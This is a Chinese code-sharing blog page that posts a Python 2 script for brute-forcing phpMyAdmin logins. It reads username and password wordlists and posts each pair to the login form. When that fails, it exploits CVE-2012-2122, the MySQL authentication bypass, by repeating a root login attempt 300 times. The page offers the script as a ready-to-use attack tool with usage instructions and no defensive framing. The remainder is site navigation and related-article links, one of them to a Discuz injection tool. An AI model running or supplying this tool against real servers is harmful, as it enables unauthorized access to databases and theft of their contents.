Python写的PHPMyAdmin暴力破解工具代码


Posted in Python onAugust 06, 2014

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def Crack(url,username,password):
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
	headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
	params = urllib.urlencode({'pma_username': username, 'pma_password': password})
	request = urllib2.Request(url+"/index.php", params,headers)
	response = opener.open(request) 
	a=response.read() 
	if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
		return username,password
	return 0
def MySQLAuthenticationBypassCheck(host,port):
	i=0
	while i<300:
		i=i+1
		subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
if __name__ == '__main__':
	if len(sys.argv)<4:
		print "#author:iswin\n#useage python pma.py https://3water.com/phpmyadmin/ username.txt password.txt"
		sys.exit()
	print "Bruting,Pleas wait..."
	for name in open(sys.argv[2],"r"):
		for passw in open(sys.argv[3],"r"):
			state=Crack(sys.argv[1],name,passw)
			if state!=0:
				print "\nBrute successful"
				print "UserName: "+state[0]+"PassWord: "+state[1]
				sys.exit()
	print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
	choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
	if choice=='Y' or choice=='y':
		host=raw_input('Host:')
		port=raw_input('Port:')
		MySQLAuthenticationBypassCheck(host,port)
Python 相关文章推荐
python概率计算器实例分析
Mar 25 Python
浅谈对yield的初步理解
May 29 Python
Python利用字典将两个通讯录文本合并为一个文本实例
Jan 16 Python
Python中的二维数组实例(list与numpy.array)
Apr 13 Python
python发送多人邮件没有展示收件人问题的解决方法
Jun 21 Python
python 类的继承 实例方法.静态方法.类方法的代码解析
Aug 23 Python
python序列化与数据持久化实例详解
Dec 20 Python
python3实现从kafka获取数据,并解析为json格式,写入到mysql中
Dec 23 Python
python3用urllib抓取贴吧邮箱和QQ实例
Mar 10 Python
详解用Python进行时间序列预测的7种方法
Mar 13 Python
深入浅析pycharm中 Make available to all projects的含义
Sep 15 Python
python中实现栈的三种方法
Dec 19 Python
Python写的Discuz7.2版faq.php注入漏洞工具
Aug 06 #Python
Python常用列表数据结构小结
Aug 06 #Python
Python生成pdf文件的方法
Aug 04 #Python
Tornado Web服务器多进程启动的2个方法
Aug 04 #Python
Python通过解析网页实现看报程序的方法
Aug 04 #Python
基于Python实现的扫雷游戏实例代码
Aug 01 #Python
python脚本实现查找webshell的方法
Jul 31 #Python
You might like
二次元帅气男生排行榜,只想悄悄收藏系列
2020/03/04 日漫
php strrpos()与strripos()函数
2013/08/31 PHP
PHP基于DOM创建xml文档的方法示例
2017/02/08 PHP
PHP论坛实现积分系统的思路代码详解
2020/06/01 PHP
javascript 文章截取部分无损html显示实现代码
2010/05/04 Javascript
js获取html参数及向swf传递参数应用介绍
2013/02/18 Javascript
jquery获取子节点和父节点的示例代码
2013/09/10 Javascript
js获取IP地址的方法小结
2014/07/01 Javascript
jquery队列函数用法实例
2014/12/16 Javascript
原生JS实现风箱式demo,并封装了一个运动框架(实例代码)
2016/07/22 Javascript
AngularJS ng-blur 指令详解及简单实例
2016/07/30 Javascript
windows下vue.js开发环境搭建教程
2017/03/20 Javascript
用 js 的 selection range 操作选择区域内容和图片
2017/04/18 Javascript
React简单介绍
2017/05/24 Javascript
vue自定义tap指令及tap事件的实现
2018/09/18 Javascript
详解vue页面首次加载缓慢原因及解决方案
2019/11/06 Javascript
JS如何实现网站中PC端和手机端自动识别并跳转对应的代码
2020/01/08 Javascript
JS实现小米轮播图
2020/09/21 Javascript
[49:21]2018DOTA2亚洲邀请赛3月30日 小组赛B组 Effect VS iG
2018/03/31 DOTA
python实现得到一个给定类的虚函数
2014/09/28 Python
推荐11个实用Python库
2015/01/23 Python
Django的session中对于用户验证的支持
2015/07/23 Python
Python注释详解
2016/06/01 Python
深入理解Python对Json的解析
2017/02/14 Python
Numpy中转置transpose、T和swapaxes的实例讲解
2018/04/17 Python
完美解决Django2.0中models下的ForeignKey()问题
2020/05/19 Python
用python 绘制茎叶图和复合饼图
2021/02/26 Python
美国知名女性服饰品牌:New York & Company
2017/03/23 全球购物
波兰运动鞋网上商店:e-Sporting
2018/02/16 全球购物
Auguste The Label官网:澳大利亚一家精品女装时尚品牌
2020/06/14 全球购物
市场营销大学生职业规划书
2014/02/25 职场文书
环保建议书600字
2014/05/14 职场文书
2015新学期开学寄语
2015/02/26 职场文书
幼儿园开学家长寄语(2015秋季)
2015/05/27 职场文书
MySQL表字段时间设置默认值
2021/05/13 MySQL
win10如何快速切换窗口 win10切换窗口快捷键分享
2022/07/23 数码科技